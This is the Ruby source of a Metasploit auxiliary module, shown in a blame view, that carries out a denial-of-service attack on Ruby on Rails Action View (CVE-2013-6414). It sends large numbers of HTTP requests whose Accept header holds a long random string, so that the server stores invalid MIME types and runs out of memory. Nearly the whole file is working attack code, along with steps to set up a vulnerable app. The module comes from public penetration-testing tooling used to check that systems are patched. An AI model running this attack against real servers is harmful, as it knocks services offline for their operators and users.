metasploit-framework/modules/auxiliary/dos/http/rails_action_view.rb

120 lines
3.6 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby-on-Rails Action View MIME Memory Exhaustion',
'Description' => %q{
2013-12-06 17:57:02 +00:00
This module exploits a Denial of Service (DoS) condition in Action View that requires
a controller action. By sending a specially crafted content-type header to a rails
application, it is possible for it to store the invalid MIME type, and may eventually
consumes all memory if enough invalid MIMEs are given.
Versions 3.0.0 and other later versions are affected, fixed in 4.0.2 and 3.2.16.
},
'Author' =>
[
'Toby Hsieh', # Reported the issue
'joev', # Metasploit
'sinn3r' # Metasploit
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-6414' ],
[ 'URL', 'http://seclists.org/oss-sec/2013/q4/400' ],
[ 'URL', 'https://github.com/rails/rails/commit/bee3b7f9371d1e2ddcfe6eaff5dcb26c0a248068' ]
],
'DisclosureDate' => 'Dec 04 2013'))
register_options(
[
Opt::RPORT(80),
2013-12-06 21:48:59 +00:00
OptString.new('URIPATH', [true, 'The URI that routes to a Rails controller action', '/']),
OptInt.new('MAXSTRINGSIZE', [true, 'Max string size', 60000]),
OptInt.new('REQCOUNT', [true, 'Number of HTTP requests to pipeline per connection', 1]),
OptInt.new('RLIMIT', [true, 'Number of requests to send', 100000]),
OptInt.new('PROGRESS_TIMER', [true, 'Number of seconds between each progress update', 10])
],
self.class)
end
def host
2013-12-06 17:57:02 +00:00
host = datastore['RHOST']
host += ":" + datastore['RPORT'].to_s if datastore['RPORT'] != 80
host
end
def long_string
Rex::Text.rand_text_alphanumeric(datastore['MAXSTRINGSIZE'])
end
2013-12-06 20:39:26 +00:00
#
# Returns a modified version of the URI that:
# 1. Always has a starting slash
# 2. Removes all the double slashes
#
def normalize_uri(*strs)
new_str = strs * "/"
new_str = new_str.gsub!("//", "/") while new_str.index("//")
# Makes sure there's a starting slash
unless new_str[0,1] == '/'
new_str = '/' + new_str
end
new_str
end
def http_request
2013-12-06 20:39:26 +00:00
uri = normalize_uri(datastore['URIPATH'])
2013-12-06 17:57:02 +00:00
http = ''
2013-12-06 20:53:35 +00:00
http << "GET #{uri} HTTP/1.1\r\n"
http << "Host: #{host}\r\n"
2013-12-04 23:22:42 +00:00
http << "Accept: #{long_string}\r\n"
http << "\r\n"
http
end
def run
begin
2013-12-06 21:48:59 +00:00
print_status("Stressing the target memory, this will take quite some time...")
2013-12-04 23:22:42 +00:00
datastore['RLIMIT'].times { |i|
connect
2013-12-06 21:48:59 +00:00
datastore['REQCOUNT'].times { sock.put(http_request) }
2013-12-04 23:22:42 +00:00
disconnect
}
2013-12-06 17:57:02 +00:00
print_status("Attack finished. Either the server isn't vulnerable, or please dos harder.")
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_status("Unable to connect to #{host}.")
rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error
2013-12-06 17:57:02 +00:00
print_good("DoS successful. #{host} not responding. Out Of Memory condition probably reached.")
ensure
disconnect
end
end
end
2013-12-06 17:57:02 +00:00
=begin
Reproduce:
1. Add a def index; end to ApplicationController
2. Add an empty index.html.erb file to app/views/application/index.html.erb
3. Uncomment the last line in routes.rb
4. Hit /application
=end